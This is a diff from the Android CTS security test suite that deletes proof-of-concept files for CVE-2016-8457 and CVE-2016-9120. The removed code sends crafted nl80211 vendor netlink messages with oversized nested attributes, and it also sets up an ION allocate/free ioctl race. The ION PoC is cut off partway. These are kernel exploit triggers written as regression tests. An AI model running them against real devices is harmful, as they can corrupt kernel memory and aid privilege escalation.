- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- unsigned char oper_classes[253];
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-
- struct nl80211_sta_flag_update flags;
-
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);
-
- rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);
-
- if (!rret2) {
- return 1;
- }
-
- nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);
-
- nla_nest_end(msg, rret2);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
deleted file mode 100644
index 3ec6a31..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8457
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
deleted file mode 100644
index 9a9f02b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- struct nlattr *rret3;
- struct nlattr *rret4;
- unsigned char buf_test[256];
-
- int i = 0;
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
- unsigned char SSID11[DOT11_MAX_SSID_LEN];
- struct nl80211_sta_flag_update flags;
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
-
- rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
- if (!rret2) {
- return 1;
- }
-
- for (i = 0; i < 4; ++i) {
- rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
- if (!rret3) {
- return 1;
- }
-
- nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, 256, &buf_test);
- nla_nest_end(msg, rret3);
- }
-
- nla_nest_end(msg, rret2);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
deleted file mode 100644
index 350e283..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-9120
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
deleted file mode 100644
index c03ee45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_type {
- ION_HEAP_TYPE_SYSTEM,
- ION_HEAP_TYPE_SYSTEM_CONTIG,
- ION_HEAP_TYPE_CARVEOUT,
- ION_HEAP_TYPE_CHUNK,
- ION_HEAP_TYPE_DMA,
- ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
- are at the end of this enum */
- ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK (1 << ION_HEAP_TYPE_SYSTEM)
-#define ION_HEAP_SYSTEM_CONTIG_MASK (1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
-#define ION_HEAP_CARVEOUT_MASK (1 << ION_HEAP_TYPE_CARVEOUT)
-#define ION_HEAP_TYPE_DMA_MASK (1 << ION_HEAP_TYPE_DMA)
-
-#define ION_NUM_HEAP_IDS sizeof(unsigned int) * 8
-
-struct ion_allocation_data {
- size_t len;
- size_t align;
- unsigned int heap_id_mask;
- unsigned int flags;
- ion_user_handle_t handle;
-};
-
-
-struct ion_fd_data {
- ion_user_handle_t handle;
- int fd;
-};
-
-
-struct ion_handle_data {
- ion_user_handle_t handle;
-};
-
-
-struct ion_custom_data {
- unsigned int cmd;
- unsigned long arg;
-};
-#define ION_IOC_MAGIC 'I'
-
-#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
- struct ion_allocation_data)
-
-#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-
-#define ION_FLAG_CACHED 1 /* mappings of this buffer should be
- cached, ion will do cache
- maintenance when the buffer is
- mapped for dma */
-#define ION_FLAG_CACHED_NEEDS_SYNC 2 /* mappings of this buffer will created
- at mmap time, if this is set
- caches must be managed manually */
-
-int g_fd = -1;
-struct ion_allocation_data* g_allocation = NULL;
-struct ion_handle_data g_free_data;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-
-int open_driver() {
- char* dev_path = "/dev/ion";
- g_fd = open(dev_path, O_RDONLY);
- if (g_fd < 0) {
- printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
- } else {
- printf("[*] open file(%s) succ!\n", dev_path);
- }
- return g_fd;
-}
-
-void prepare_data() {
- void* data = malloc(0x1000);
-
- g_allocation = (struct ion_allocation_data*)data;
-
- g_allocation->len = 0x1000;
- g_allocation->align = 8;
- g_allocation->heap_id_mask = 1 << 25;
- g_allocation->flags = ION_FLAG_CACHED;
- g_allocation->handle = -1;
-
- mprotect(data, 0x1000, PROT_READ);
- printf("[*] mprotect, error = %d\n", errno);
-
- g_free_data.handle = 1;
-}
-
-void trigger_ion_alloc() {
- ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
-}
-
-void trigger_ion_free() {
- ioctl(g_fd, ION_IOC_FREE, &g_free_data);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
- setpriority(PRIO_PROCESS, gettid(), privi);
-
- /* bind process to a CPU*/
- if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
- }
-}
-void* race_thread(void* arg) {
- setup_privi_and_affinity(-19, 2);
- while (1) {
- pthread_mutex_lock(&mutex);
- pthread_cond_wait(&cond, &mutex);
- trigger_ion_free();
- pthread_mutex_unlock(&mutex);
- }
-
-}
-
-
-int main(int argc, char**argv) {
- if (open_driver() < 0) {
- return -1;
- }
